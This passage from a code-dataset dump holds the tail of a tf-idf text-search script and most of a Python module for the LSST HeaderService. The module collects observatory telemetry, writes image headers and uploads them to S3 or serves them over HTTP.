2:\n return alist\n else:\n mid = len(alist)//2\n return merge(mergeSortTuples(alist[:mid]),mergeSortTuples(alist[mid:]))\n\nimport os\ndef getAllTextFiles():\n \"\"\"Returns a list of text files from the current directory\"\"\"\n return list(filter(lambda f:f[-4:] == '.txt',os.listdir(os.getcwd())))\n\n\ndef getWordListFromFile(fileObject):\n \"\"\"Read all words in a file, remove punctuation, fix dashes etc.return -- list of strings\"\"\"\n strlist = []\n line = myReadLine(fileObject)\n while(line):\n line = removeDashes(line)\n line = removePunctuation(line)\n strlist.extend(line.lower().split())\n line = myReadLine(fileObject)\n return strlist\n\ndef myReadLine(file):\n try:\n s = file.readline()\n return s\n except UnicodeDecodeError:\n print('skipped unicode error')\n return ' '\n\ndef makeDocFromFile(fileName):\n dfile = openFile(fileName)\n url = myReadLine(dfile) #dfile.readline()\n author = myReadLine(dfile) #dfile.readline()\n title = myReadLine(dfile) #dfile.readline()\n wordList = getWordListFromFile(dfile)\n dfile.close()\n\n termVector = makeTermFrequencyVector(wordList)\n doc = makeDocument(termVector,fileName,url,author,title)\n return doc\n\n\n\n\nfiles = getAllTextFiles()\ndocuments = makeDocsFromFileList(files)\nfor num in range(1,8):\n print('-'*8+' SEARCH# '+str(num)+' ' +'-'*8)\n processUserRequest(documents)\n print()\n print()\n","repo_name":"djain106/tf-idf","sub_path":"tf-idf.py","file_name":"tf-idf.py","file_ext":"py","file_size_in_byte":14157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28736300076","text":"import os\nimport sys\nimport socket\nimport asyncio\nimport time\nimport types\nimport subprocess\nfrom . import hutils\nfrom . import hscalc\nfrom lsst.ts import salobj\nimport HeaderService\nimport importlib\nimport copy\n\n\nclass HSWorker(salobj.BaseCsc):\n\n \"\"\" A Class to run and manage the Header Service\"\"\"\n\n def __init__(self, **keys):\n\n # initialize current state to None\n self.current_state = None\n\n # Load the configurarion\n self.config = types.SimpleNamespace(**keys)\n\n # Create a salobj.BaseCsc and get logger\n self.create_BaseCsc()\n\n # Get ready non-SAL related tasks\n self.prepare()\n\n # Extract the unique channel by topic/device\n self.get_channels()\n\n # Make the connections using saloj.Remote\n self.create_Remotes()\n\n # Define the callbacks for start/end\n self.define_evt_callbacks()\n\n # Load enum idl libraries\n self.load_enums_idl()\n\n # Define global lock to update dictionaries\n self.dlock = asyncio.Lock()\n\n async def close_tasks(self):\n \"\"\"Close tasks on super and evt timeout\"\"\"\n await super().close_tasks()\n self.cancel_timeout_tasks()\n\n async def end_evt_timeout(self, imageName, timeout):\n \"\"\"Timeout timer for end event telemetry callback\"\"\"\n await asyncio.sleep(timeout)\n self.log.info(f\"{self.name_end} for {imageName} not seen in {timeout} [s]; giving up\")\n # Send the timeout warning using the salobj log\n self.log.warning(f\"Timeout while waiting for {self.name_end} Event from {imageName}\")\n async with self.dlock:\n self.clean(imageName)\n\n def cancel_timeout_tasks(self):\n \"\"\"Cancel the per-image timeout tasks\"\"\"\n list_to_cancel = copy.deepcopy(self.end_evt_timeout_task)\n for imageName in list_to_cancel:\n self.end_evt_timeout_task[imageName].cancel()\n self.clean(imageName)\n\n async def handle_summary_state(self):\n\n # if current_state hasn't been set, and the summary_state is STANDBY,\n # we're just starting up, so don't do anything but set the current\n # state to STANBY\n if (self.current_state is None) and (self.summary_state == salobj.State.STANDBY):\n self.current_state = self.summary_state\n\n self.log.info(f\"Current state is: {self.current_state.name}; transition to {self.summary_state.name}\")\n\n if self.summary_state != salobj.State.ENABLED:\n self.cancel_timeout_tasks()\n\n # Check that services are running -- if not will go into FAULT\n if (self.current_state == salobj.State.DISABLED) and (self.summary_state == salobj.State.ENABLED):\n await self.check_services()\n\n self.log.info(f\"Current state is: {self.summary_state.name}\")\n # Save the current_state for next\n self.current_state = self.summary_state\n\n def define_evt_callbacks(self):\n \"\"\"Set the callback functions based on configuration\"\"\"\n\n # Select the start_collection callback\n devname = get_channel_devname(self.config.start_collection_event)\n topic = self.config.start_collection_event['topic']\n getattr(self.Remote[devname], f\"evt_{topic}\").callback = self.start_collection_event_callback\n self.log.info(f\"Defining callback for {devname} {topic}\")\n\n # Select the end_collection callback\n devname = get_channel_devname(self.config.end_collection_event)\n topic = self.config.end_collection_event['topic']\n getattr(self.Remote[devname], f\"evt_{topic}\").callback = self.end_collection_event_callback\n self.log.info(f\"Defining callback for {devname} {topic}\")\n\n def start_collection_event_callback(self, myData):\n \"\"\" The callback function for the START collection event\"\"\"\n\n # If not in ENABLED mode we do nothing\n if self.summary_state != salobj.State.ENABLED:\n self.log.info(f\"Received: {self.name_start} Event\")\n self.log.info(f\"Ignoring as current state is {self.summary_state.name}\")\n return\n\n sys.stdout.flush()\n self.log.info(f\"---------- Received: {self.name_start} Event -----------------\")\n\n # Extract the key to match start/end events\n imageName = self.get_imageName(myData)\n self.log.info(f\"Starting callback for imageName: {imageName}\")\n\n # Update header object and metadata dictionaries with lock and wait\n asyncio.ensure_future(self.complete_tasks_START(imageName))\n\n def end_collection_event_callback(self, myData):\n \"\"\" The callback function for the END collection event\"\"\"\n\n # If not in ENABLED mode we do nothing\n if self.summary_state != salobj.State.ENABLED:\n self.log.info(f\"Received: {self.name_end} Event\")\n self.log.info(f\"Ignoring as current state is {self.summary_state.name}\")\n return\n\n # Extract the key to match start/end events\n imageName = self.get_imageName(myData)\n\n # Check for rogue end collection events\n self.log.info(f\"Received: {self.name_end} Event for {imageName}\")\n if imageName not in self.end_evt_timeout_task:\n self.log.warning(f\"Received orphan {self.name_end} Event without a timeout task\")\n self.log.warning(f\"{self.name_end} will be ignored for: {imageName}\")\n self.log.info(f\"Current State is {self.summary_state.name}\")\n return\n\n # Cancel/stop the timeout task because we got the END callback\n self.end_evt_timeout_task[imageName].cancel()\n\n # Final collection using asyncio lock, will call functions that\n # take care of updating data structures. We also write the header file.\n asyncio.ensure_future(self.complete_tasks_END(imageName))\n\n def get_tstand(self):\n \"\"\"Figure the Test Stand in use\"\"\"\n # Check if definced in self.config or the environment\n if self.config.tstand:\n self.tstand = self.config.tstand\n self.log.info(f\"Will use TSTAND: {self.tstand} in configurarion\")\n elif 'TSTAND_HEADERSERVICE' in os.environ:\n self.tstand = os.environ['TSTAND_HEADERSERVICE']\n self.log.info(f\"Will use TSTAND: {self.tstand} in from environment\")\n else:\n # Try to auto-figure out from location\n self.log.warning(\"The TSTAND was not defined in config/environment\")\n address = socket.getfqdn()\n if address.find('.ncsa.') >= 0:\n self.tstand = \"NCSA\"\n self.log.info(f\"Will use auto-config tstand: {self.tstand}\")\n else:\n self.tstand = None\n self.log.info(\"Unable to auto-config tstand -- will be left undefined\")\n\n def get_ip(self):\n \"\"\"Figure out the IP we will be using to broadcast\"\"\"\n\n # Check if definced in self.config or the environment\n if self.config.ip_address:\n self.ip_address = self.config.ip_address\n self.log.info(f\"Will use IP: {self.ip_address} in config for web service\")\n elif 'IP_HEADERSERVICE' in os.environ:\n self.ip_address = os.environ['IP_HEADERSERVICE']\n self.log.info(f\"Will use IP: {self.ip_address} fron environment for web service\")\n else:\n self.ip_address = socket.gethostbyname(socket.gethostname())\n self.log.info(f\"Will use IP: {self.ip_address} auto-config for web service\")\n\n def get_s3instance(self):\n \"\"\"\n Figure the location where are running to define the s3instance\n in case it wasn't defined.\n \"\"\"\n # Check if defined in self.config or the environment\n if self.config.s3instance:\n s3instance = self.config.s3instance\n self.log.info(f\"Will use s3instance in config: {s3instance}\")\n return s3instance\n elif 'S3INSTANCE' in os.environ:\n s3instance = os.environ['S3INSTANCE']\n self.log.info(f\"Will use s3instance from environment: {s3instance}\")\n return s3instance\n\n # Try to auto-figure out from location\n self.log.warning(\"The s3instance was not defined in config\")\n address = socket.getfqdn()\n if address.find('.ncsa.') >= 0:\n s3instance = 'nts'\n elif address.find('tuc') >= 0:\n s3instance = 'tuc'\n elif address.find('.cp.') >= 0:\n s3instance = 'cp'\n else:\n s3instance = 'dummy'\n self.log.info(f\"Will use auto-config s3instance: {s3instance}\")\n return s3instance\n\n def define_s3bucket(self):\n \"\"\"\n Get the s3instance and define the name for the\n s3 bucket using salobj\n\n To access the S3 server, the environment variables are set via:\n\n export S3_ENDPOINT_URL=http://lsst-nfs.ncsa.illinois.edu:9000\n export AWS_ACCESS_KEY_ID={access_key}\n export AWS_SECRET_ACCESS_KEY={secret_key}\n \"\"\"\n\n s3instance = self.get_s3instance()\n self.s3bucket_name = salobj.AsyncS3Bucket.make_bucket_name(s3instance=s3instance)\n self.log.info(f\"Will use Bucket name: {self.s3bucket_name}\")\n\n # 2. Use AsyncS3Bucket to make bucket + S3 connection\n self.s3bucket = salobj.AsyncS3Bucket(name=self.s3bucket_name, domock=False)\n self.log.info(f\"Defined AsyncS3Bucket: {self.s3bucket_name}\")\n\n # We will re-use the connection made by salobj\n self.s3conn = self.s3bucket.service_resource\n self.log.info(f\"Will use s3 endpoint_url: {self.s3conn.meta.client.meta.endpoint_url}\")\n\n # 3. Make sure the bucket exists in the list of bucket names:\n try:\n bucket_names = [b.name for b in self.s3conn.buckets.all()]\n self.log.info(f\"Found s3 buckets: {bucket_names}\")\n except Exception as e:\n self.log.error(f\"Cannot connect to bucket: {self.s3bucket_name}\")\n self.log.exception(str(e))\n s3bucket_OK = False\n return s3bucket_OK\n if self.s3bucket_name not in bucket_names:\n self.s3conn.create_bucket(Bucket=self.s3bucket_name)\n self.log.info(f\"Created Bucket: {self.s3bucket_name}\")\n else:\n self.log.info(f\"Bucket Name: {self.s3bucket_name} already exists\")\n s3bucket_OK = True\n return s3bucket_OK\n\n def start_web_server(self, logfile, httpserver=\"http.server\"):\n\n \"\"\"\n Start a light web service to serve the header files to the EFD\n \"\"\"\n\n # Get the hostname and IP address\n self.get_ip()\n\n # Change PYTHONUNBUFFERED to 1 to allow continuous writing.\n os.environ['PYTHONUNBUFFERED'] = '1'\n\n # Open the file handle\n weblog = open(logfile, 'a')\n weblog.flush()\n\n self.log.info(f\"Will send web server logs to: {logfile}\")\n # Get the system's python\n python_exe = sys.executable\n # Make sure there isn't another process running\n cmd = f\"ps -ax | grep \\\"{httpserver} {self.config.port_number}\\\" | grep -v grep | awk '{{print $1}}'\"\n self.log.info(f\"Checking for webserver running: {cmd}\")\n p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n pid = p.stdout.read().decode()\n self.log.info(f\"Writing web log to: {logfile}\")\n\n if pid == '':\n # Store the current location so we can go back here\n cur_dirname = os.getcwd()\n os.chdir(self.config.filepath)\n # The subprocess call\n self.log.info(f\"Will start web server on dir: {self.config.filepath}\")\n self.log.info(f\"Serving at port: {self.config.port_number}\")\n p = subprocess.Popen([python_exe, '-m', httpserver, str(self.config.port_number)],\n stdout=weblog, stderr=weblog)\n time.sleep(1)\n self.log.info(\"Done Starting web server\")\n # Get back to where we were\n os.chdir(cur_dirname)\n elif int(pid) > 0:\n self.log.info(f\"{httpserver} already running with pid:{int(pid)} ... Bye\")\n else:\n self.log.info(\"Warning: Wrong process id - will not start www service\")\n\n def setup_logging(self):\n \"\"\"\n Simple Logger definitions across this module, we call the generic\n function defined in hutils.py\n \"\"\"\n # Make sure the directory exists\n dirname = os.path.dirname(self.config.logfile)\n if dirname != '':\n self.check_outdir(dirname)\n hutils.configure_logger(self.log, logfile=self.config.logfile,\n level=self.config.loglevel,\n log_format=self.config.log_format,\n log_format_date=self.config.log_format_date)\n self.log.info(f\"Logging Started at level:{self.config.loglevel}\")\n self.log.info(f\"Will send logging to: {self.config.logfile}\")\n self.log.info(f\"Running HeaderService version: {HeaderService.__version__}\")\n\n def create_BaseCsc(self):\n \"\"\"\n Create a BaseCsc for the the HeaderService. We initialize the\n State object that keeps track of the HS current state. We use\n a start_state to set the initial state\n \"\"\"\n\n self.version = HeaderService.__version__\n\n super().__init__(name=self.config.hs_name, index=self.config.hs_index,\n initial_state=getattr(salobj.State, self.config.hs_initial_state))\n # Logging\n self.setup_logging()\n # Version information\n self.log.info(f\"Starting the CSC with {self.config.hs_name}\")\n self.log.info(f\"Creating worker for: {self.config.hs_name}\")\n self.log.info(f\"Running salobj version: {salobj.__version__}\")\n self.log.info(f\"Starting in State:{self.summary_state.name}\")\n\n # Set the CSC version using softwareVersions\n self.log.info(f\"Setting softwareVersions Event with version: {HeaderService.__version__}\")\n self.evt_softwareVersions.set(cscVersion=HeaderService.__version__)\n\n def create_Remotes(self):\n \"\"\"\n Create the Remotes to collect telemetry/Events for channels as\n defined by the meta-data\n \"\"\"\n self.log.info(\"*** Starting Connections for Meta-data ***\")\n # The list containing the unique devices (CSCs) to make connection\n self.devices = []\n # The dict containing all of the threads and connections\n self.Remote = {}\n self.Remote_get = {}\n for channel_name, c in self.channels.items():\n devname = get_channel_devname(c)\n # Make sure we only create these once\n if devname not in self.devices:\n self.devices.append(devname)\n self.Remote[devname] = salobj.Remote(domain=self.domain,\n name=c['device'],\n index=c['device_index'])\n self.log.info(f\"Created Remote for {devname}\")\n # capture the evt.get() function for the channel\n if c['Stype'] == 'Event':\n self.Remote_get[channel_name] = getattr(self.Remote[devname], f\"evt_{c['topic']}\").get\n self.log.info(f\"Storing Remote.evt_{c['topic']}.get() for {channel_name}\")\n if c['Stype'] == 'Telemetry':\n self.Remote_get[channel_name] = getattr(self.Remote[devname], f\"tel_{c['topic']}\").get\n self.log.info(f\"Storing Remote.tel_{c['topic']}.get() for {channel_name}\")\n\n # Select the start_collection channel\n self.name_start = get_channel_name(self.config.start_collection_event)\n # Select the end_collection channel\n self.name_end = get_channel_name(self.config.end_collection_event)\n\n def load_enums_idl(self):\n \"\"\"\n Load using importlib the idl libraries for the enumerated CSCs\n \"\"\"\n # Get the list of enum enum_csc\n self.log.info(\"Extracting enum CSC's from telemetry dictionary\")\n self.enum_csc = get_enum_cscs(self.config.telemetry)\n self.idl_lib = {}\n for csc in self.enum_csc:\n self.log.info(f\"importing lsst.ts.idl.enums.{csc}\")\n self.idl_lib[csc] = importlib.import_module(\"lsst.ts.idl.enums.{}\".format(csc))\n\n def get_channels(self):\n \"\"\"Extract the unique channels by topic/device\"\"\"\n self.log.info(\"Extracting Telemetry channels from telemetry dictionary\")\n self.channels = extract_telemetry_channels(self.config.telemetry,\n start_collection_event=self.config.start_collection_event,\n end_collection_event=self.config.end_collection_event,\n imageParam_event=self.config.imageParam_event)\n # Separate the keys to collect at the 'end' from the ones at 'start'\n self.keywords_start = [key for key, value in self.config.telemetry.items()\n if value['collect_after_event'] == 'start_collection_event']\n self.keywords_end = [key for key, value in self.config.telemetry.items()\n if value['collect_after_event'] == 'end_collection_event']\n\n def check_outdir(self, filepath):\n \"\"\" Make sure that we have a place to put the files\"\"\"\n if not os.path.exists(filepath):\n os.makedirs(filepath)\n self.log.info(f\"Created dirname:{filepath}\")\n\n async def check_services(self):\n \"\"\" Check that services needed s3/web are working\"\"\"\n\n self.log.info(\"Checking for services\")\n s3bucket_OK = True\n webserver_OK = True\n # Define/check s3 buckets\n if self.config.lfa_mode == 's3':\n s3bucket_OK = self.define_s3bucket()\n # Start the web server\n elif self.config.lfa_mode == 'http':\n try:\n self.start_web_server(self.config.weblogfile)\n webserver_OK = True\n except Exception as e:\n self.log.error(\"Cannot start webserver\")\n self.log.exception(str(e))\n webserver_OK = False\n\n # if start is not okay, we go to fault\n if s3bucket_OK is False or webserver_OK is False:\n self.log.error(\"Checking for services -- failed\")\n await self.fault(code=9, report=\"Checking for services -- failed\")\n else:\n self.log.info(\"Checking for services -- completed\")\n self.check_services_OK = True\n\n def prepare(self):\n \"\"\"\n Non-SAL/salobj related task that need to be prepared\n \"\"\"\n\n # The user running the process\n self.USER = os.environ['USER']\n\n # Make sure that we have a place to put the files\n self.check_outdir(self.config.filepath)\n\n # Get the TSTAND\n self.get_tstand()\n\n # Create dictionaries keyed to imageName\n self.create_dicts()\n\n # Define if we need sensor infornation in templates\n # For LSSTCam, MTCamera is charge the Camera metadata\n if self.config.instrument == 'LSSTCam':\n self.nosensors = True\n else:\n self.nosensors = False\n\n # Check for segment name in configuration\n if not hasattr(self.config, 'segname'):\n self.log.info(\"Setting segname to None\")\n self.config.segname = None\n\n # Check for imageParam_event\n if not hasattr(self.config, 'imageParam_event'):\n self.log.info(\"Setting imageParam_event to None\")\n self.config.imageParam_event = None\n\n self.log.info(f\"Setting nosensors to: {self.nosensors} for {self.config.instrument}\")\n\n async def complete_tasks_START(self, imageName):\n \"\"\"\n Update data objects at START with asyncio lock\n and complete all tasks started with START event.\n \"\"\"\n async with self.dlock:\n\n # Collect metadata at start of integration and\n # load it on the self.metadata dictionary\n self.log.info(f\"Collecting Metadata START : {self.name_start} Event\")\n self.metadata[imageName] = self.collect(self.keywords_start)\n\n # Create the HDR object to be populated with the collected metadata\n # when loading the templates we get a HDR.header object\n self.log.info(f\"Creating header object for : {imageName}\")\n\n # Get the self.vendors and self.sensors\n self.get_vendors_and_sensors()\n self.log.info(f\"Will use vendors: {self.vendor_names}\")\n self.log.info(f\"Will use sensors: {self.sensors}\")\n self.HDR[imageName] = hutils.HDRTEMPL(logger=self.log,\n section=self.config.section,\n instrument=self.config.instrument,\n nosensors=self.nosensors,\n segname=self.config.segname,\n vendor_names=self.vendor_names,\n sensor_names=self.sensors,\n write_mode=self.config.write_mode)\n self.HDR[imageName].load_templates()\n # Get the filenames and imageName from the start event payload.\n self.log.info(f\"Defining filenames for: {imageName}\")\n self.get_filenames(imageName)\n\n # Get the requested exposure time to estimate the total timeout\n try:\n timeout_camera = self.read_timeout_from_camera()\n self.log.info(f\"Extracted timeout: {timeout_camera}[s] from Camera\")\n except AttributeError:\n self.log.warning(\"Cannot extract timout from camera, will use EXPTIME instead\")\n exptime_key = self.config.timeout_keyword\n self.log.info(\"Collecting key to set timeout as key %s + %s\" %\n (exptime_key, self.config.timeout_exptime))\n metadata_tmp = self.collect([exptime_key])\n timeout_camera = metadata_tmp[exptime_key]\n self.log.info(f\"Extracted timeout: {timeout_camera}[s] from {exptime_key}\")\n timeout = timeout_camera + self.config.timeout_exptime\n self.log.info(f\"Setting timeout: {timeout_camera} + {self.config.timeout_exptime} [s]\")\n self.log.info(f\"Using timeout: {timeout} [s]\")\n\n # Create timeout_task per imageName\n self.end_evt_timeout_task[imageName] = asyncio.ensure_future(self.end_evt_timeout(imageName,\n timeout))\n self.log.info(f\"Waiting {timeout} [s] for {self.name_end} Event for: {imageName}\")\n\n async def complete_tasks_END(self, imageName):\n \"\"\"\n Update data objects at END with asyncio lock\n and complete all tasks started with END event\n \"\"\"\n async with self.dlock:\n\n # Collect metadata at end of integration\n self.log.info(f\"Collecting Metadata END: {self.name_end} Event\")\n self.metadata[imageName].update(self.collect(self.keywords_end))\n # Collect metadata created by the HeaderService\n self.log.info(\"Collecting Metadata from HeaderService\")\n # Update header with information from HS\n self.collect_from_HeaderService(imageName)\n\n # Update header using the information from the camera geometry\n self.log.info(\"Updating Header with Camera information\")\n try:\n self.update_header_geometry(imageName)\n except Exception as e:\n self.log.warning(\"Failed call to update_header_geometry\")\n self.log.warning(e)\n\n # Update header object with metadata dictionary\n self.update_header(imageName)\n # Write the header\n write_OK = self.write(imageName)\n if write_OK is False:\n self.completed_OK[imageName] = False\n self.log.warning(\"Sending the system to FAULT state\")\n await self.fault(code=9, report=f\"Cannot write header for: {imageName}\")\n else:\n # Announce/upload LFO if write_OK is True\n await self.announce(imageName)\n\n if self.completed_OK[imageName] is True:\n self.log.info(f\"-------- Done: {imageName} -------------------\")\n else:\n self.log.error(f\"-------- Failed: {imageName} -------------------\")\n\n # Clean up\n self.clean(imageName)\n\n if self.summary_state == salobj.State.ENABLED:\n self.log.info(\"-------- Ready for next image -----\")\n # Cancel timed out tasks\n self.cancel_timeout_tasks()\n self.log.info(f\"Current state is: {self.summary_state.name}\")\n\n def get_vendors_and_sensors(self):\n\n if self.nosensors:\n self.log.info(f\"Will not get vendors/ccdnames for {self.config.instrument}\")\n self.vendor_names = []\n self.sensors = []\n return\n\n # Try to get the list of sensor from the Camera Configuration event\n try:\n self.vendor_names, self.sensors = self.read_camera_vendors()\n self.log.info(\"Extracted vendors/ccdnames from Camera Configuration\")\n except Exception:\n # In the absense of a message from camera to provide the list\n # of sensors and vendors, we build the list using a function\n # in hutils\n self.log.warning(\"Cannot read camera vendor list from event\")\n self.log.warning(\"Will use defaults from config file instead\")\n self.sensors = hutils.build_sensor_list(self.config.instrument)\n self.vendor_names = self.config.vendor_names\n\n return\n\n def read_camera_vendors(self, sep=\":\"):\n \"\"\" Read the vendor/ccdLocation from camera event \"\"\"\n name = get_channel_name(self.config.cameraConf_event)\n array_keys = self.config.cameraConf_event['array_keys']\n param = self.config.cameraConf_event['value']\n myData = self.Remote_get[name]()\n # exit in case we cannot get data from SAL\n if myData is None:\n self.log.warning(\"Cannot get myData from {}\".format(name))\n return\n\n # 1 We get the keywords List from myData\n payload = getattr(myData, array_keys)\n ccdnames = hutils.split_esc(payload, sep)\n if len(ccdnames) <= 1:\n self.log.warning(f\"List keys for {name} is <= 1\")\n self.log.info(f\"For {name}, extracted '{array_keys}': {ccdnames}\")\n # 2 Get the actual list of vendor names\n payload = getattr(myData, param)\n vendor_names = hutils.split_esc(payload, sep)\n self.log.info(\"Successfully read vendors/ccdnames from Camera config event\")\n return vendor_names, ccdnames\n\n def update_header_geometry(self, imageName):\n \"\"\" Update the image geometry Camera Event \"\"\"\n\n # if config.imageParam_event is False, we skip\n if not self.config.imageParam_event:\n self.log.info(\"No imageParam_event, will not update_header_geometry\")\n return\n\n # Image paramters\n self.log.info(\"Extracting CCD/Sensor Image Parameters\")\n # Extract from telemetry and identify the channel\n name = get_channel_name(self.config.imageParam_event)\n array_keys = self.config.imageParam_event['array_keys']\n myData = self.Remote_get[name]()\n # exit in case we cannot get data from SAL\n if myData is None:\n self.log.warning(\"Cannot get geometry myData from {}\".format(name))\n return\n\n # Obtain the geometry that we'll use for each segment.\n geom = hutils.get_image_size_from_imageReadoutParameters(myData, array_keys)\n\n # Update the geometry for the HDR object\n self.log.info(f\"Updating header CCD geom for {imageName}\")\n self.HDR[imageName].load_geometry(geom)\n self.log.info(\"Templates Updated\")\n\n def read_timeout_from_camera(self):\n \"\"\"Extract the timeout from Camera Event\"\"\"\n # Extract from telemetry and identify the channel\n name = get_channel_name(self.config.timeout_event)\n myData = self.Remote_get[name]()\n param = self.config.timeout_event['value']\n device = self.config.timeout_event['device']\n if myData is None:\n self.log.warning(\"Cannot get timeout myData from {}\".format(name))\n return\n timeout_camera = getattr(myData, param)\n self.log.info(f\"Extracted timeout from {device}: {timeout_camera}\")\n return timeout_camera\n\n def update_header(self, imageName):\n\n \"\"\"Update FITSIO header object using the captured metadata\"\"\"\n for keyword, value in self.metadata[imageName].items():\n # Check if dictionary with per-sensor values\n if isinstance(value, dict):\n for sensor in value.keys():\n extname = self.HDR[imageName].get_primary_extname(sensor)\n self.HDR[imageName].update_record(keyword, value[sensor], extname)\n self.log.info(f\"Updating header[{extname}] with {keyword:8s} = {value[sensor]}\")\n # Otherwise we put it into the PRIMARY\n else:\n extname = 'PRIMARY'\n self.HDR[imageName].update_record(keyword, value, extname)\n self.log.info(f\"Updating header[{extname}] with {keyword:8s} = {value}\")\n\n def get_imageName(self, myData):\n \"\"\"\n Method to extract the key to match start/end events\n (i.e: imageName) uniformly across the class\n \"\"\"\n imageName = getattr(myData, self.config.imageName_event['value'])\n return imageName\n\n def get_filenames(self, imageName):\n \"\"\"\n Figure out the section of the telemetry from which we will extract\n 'imageName' and define the output names based on that ID\n \"\"\"\n # Construct the hdr and fits filename\n self.filename_FITS[imageName] = self.config.format_FITS.format(imageName)\n self.filename_HDR[imageName] = os.path.join(self.config.filepath,\n self.config.format_HDR.format(imageName))\n\n async def announce(self, imageName):\n \"\"\"\n Upload and broadcast the LFO Event for the HeaderService\n \"\"\"\n\n # if S3 bucket, upload before announcing to get\n # the url that will be broadcast.\n # Upload header file and get key/url\n # key should be like:\n # CCHeaderService/header/2020/05/21/CCHeaderService_header_CC_O_20200521_000008.yaml\n if self.config.lfa_mode == 's3':\n key = self.s3bucket.make_key(\n salname=self.config.hs_name,\n salindexname=self.config.hs_index,\n other=imageName,\n generator='header',\n date=self.metadata[imageName]['DATE-OBS'],\n suffix=\".yaml\"\n )\n # In case we want to go back to an s3 url\n # url = f\"s3://{self.s3bucket.name}/{key}\"\n\n # The url for simple a wget/curl fetch\n # i.e. http://S3_ENDPOINT_URL/s3buket_name/key\n url = f\"{self.s3conn.meta.client.meta.endpoint_url}/{self.s3bucket.name}/{key}\"\n t0 = time.time()\n with open(self.filename_HDR[imageName], \"rb\") as f:\n s3upload = await self.upload_to_s3(f, key, imageName, nt=2)\n\n if s3upload is False:\n await self.fault(code=9, report=f\"Failed s3 bucket upload for: {imageName}\")\n self.completed_OK[imageName] = False\n return\n\n self.log.info(f\"Header s3 upload time: {hutils.elapsed_time(t0)}\")\n self.log.info(f\"Will use s3 key: {key}\")\n self.log.info(f\"Will use s3 url: {url}\")\n elif self.config.lfa_mode == 'http':\n url = self.config.url_format.format(\n ip_address=self.ip_address,\n port_number=self.config.port_number,\n filename_HDR=os.path.basename(self.filename_HDR[imageName]))\n self.log.info(f\"Will use http url: {url}\")\n else:\n self.log.error(f\"lfa_mode: {self.config.lfa_mode} not supported\")\n\n # Get the md5 for the header file\n md5value = hutils.md5Checksum(self.filename_HDR[imageName])\n bytesize = os.path.getsize(self.filename_HDR[imageName])\n self.log.info(\"Got MD5SUM: {}\".format(md5value))\n\n # Now we publish filename and MD5\n # Build the kwargs\n kw = {'byteSize': bytesize,\n 'checkSum': md5value,\n 'generator': self.config.hs_name,\n 'mimeType': self.config.write_mode.upper(),\n 'url': url,\n 'id': imageName,\n 'version': 1,\n }\n\n await self.evt_largeFileObjectAvailable.set_write(**kw)\n self.log.info(f\"Sent {self.config.hs_name} largeFileObjectAvailable: {kw}\")\n self.completed_OK[imageName] = True\n\n async def upload_to_s3(self, fileobj, key, imageName, nt=2):\n \"\"\"Loop call to salobj.s3bucket.upload with a number of tries.\"\"\"\n s3upload = False\n k = 1\n while k <= nt and s3upload is False:\n try:\n await self.s3bucket.upload(fileobj=fileobj, key=key)\n s3upload = True\n except Exception as e:\n self.log.error(f\"Failed s3bucket.upload attempt # {k}/{nt} for: {imageName}\")\n self.log.exception(str(e))\n k += 1\n return s3upload\n\n def write(self, imageName):\n \"\"\" Function to call to write the header\"\"\"\n\n try:\n self.HDR[imageName].write_header(self.filename_HDR[imageName])\n self.log.info(f\"Wrote header to filesystem: {self.filename_HDR[imageName]}\")\n write_OK = True\n except Exception as e:\n self.log.error(f\"Cannot write header to filesystem {self.filename_HDR[imageName]}\")\n self.log.error(f\"{e.__class__.__name__}: {e}\")\n self.log.exception(str(e))\n write_OK = False\n return write_OK\n\n def clean(self, imageName):\n \"\"\" Clean up imageName data structures\"\"\"\n self.log.info(f\"Cleaning data for: {imageName}\")\n del self.end_evt_timeout_task[imageName]\n del self.metadata[imageName]\n del self.HDR[imageName]\n del self.filename_HDR[imageName]\n del self.filename_FITS[imageName]\n del self.completed_OK[imageName]\n\n def create_dicts(self):\n \"\"\"\n Create the dictionaries holding per image information, such as:\n timeout tasks, metadata and headers\n \"\"\"\n self.log.info(\"Creating per imageName dictionaries\")\n self.end_evt_timeout_task = {}\n self.metadata = {}\n self.HDR = {}\n self.filename_FITS = {}\n self.filename_HDR = {}\n self.completed_OK = {}\n\n def collect(self, keys):\n \"\"\" Collect meta-data from the telemetry-connected channels\n and store it in the 'metadata' dictionary\"\"\"\n\n # Define myData and metadata dictionaries\n # myData: holds the payload from Telem/Events\n # metadata: holds the metadata to be inserted into the Header object\n myData = {}\n metadata = {}\n for keyword in keys:\n name = get_channel_name(self.config.telemetry[keyword])\n # Access data payload only once\n if name not in myData:\n myData[name] = self.Remote_get[name]()\n self.log.info(f\"Checking expiration for {name}\")\n if self.check_telemetry_expired(myData[name]):\n self.log.warning(f\"Expired telemetry for {name} -- will ignore\")\n myData[name] = None\n # Only update metadata if myData is defined (not None)\n if myData[name] is None:\n self.log.warning(f\"Cannot get keyword: {keyword} from topic: {name}\")\n else:\n try:\n metadata[keyword] = self.extract_from_myData(keyword, myData[name])\n self.log.debug(f\"Extracted {keyword}: {metadata[keyword]}\")\n # Scale by `scale` if it was defined\n if 'scale' in self.config.telemetry[keyword]:\n metadata[keyword] = metadata[keyword]*self.config.telemetry[keyword]['scale']\n self.log.info(f\"Scaled key: {keyword} by: {self.config.telemetry[keyword]['scale']}\")\n except Exception as err:\n self.log.error(f\"Error while extracting keyword: {keyword} from topic: {name}\")\n self.log.error(f\"{err.__class__.__name__}: {err}\")\n\n return metadata\n\n def check_telemetry_expired(self, myData):\n \"\"\" Check is telemetry has expired using expiresAt parameter\"\"\"\n has_expired = False\n # Check if it has the expiresAt attribute\n if hasattr(myData, 'expiresAt'):\n expiresAt = getattr(myData, 'expiresAt')\n self.log.info(f\"Found expiresAt: {expiresAt} in payload\")\n timestamp_now = time.time() # unix UTC time\n if timestamp_now > expiresAt:\n has_expired = True\n return has_expired\n\n def extract_from_myData(self, keyword, myData, sep=\":\"):\n\n param = self.config.telemetry[keyword]['value']\n payload = getattr(myData, param)\n\n # Case 1 -- we want just one value per key (scalar)\n if 'array' not in self.config.telemetry[keyword]:\n self.log.debug(f\"{keyword} is a scalar\")\n extracted_payload = payload\n # Case 2 -- array of values per sensor\n elif self.config.telemetry[keyword]['array'] == 'CCD_array':\n self.log.debug(f\"{keyword} is an array: CCD_array\")\n ccdnames = self.get_array_keys(keyword, myData, sep)\n # When ATCamera sends (via SAL/DDS) and array with just one element\n # this is actually not send as a list/array, but as scalar instead.\n # Therefore, if expecting and list/array and length is (1), then we\n # need to recast SAL payload as a list.\n if 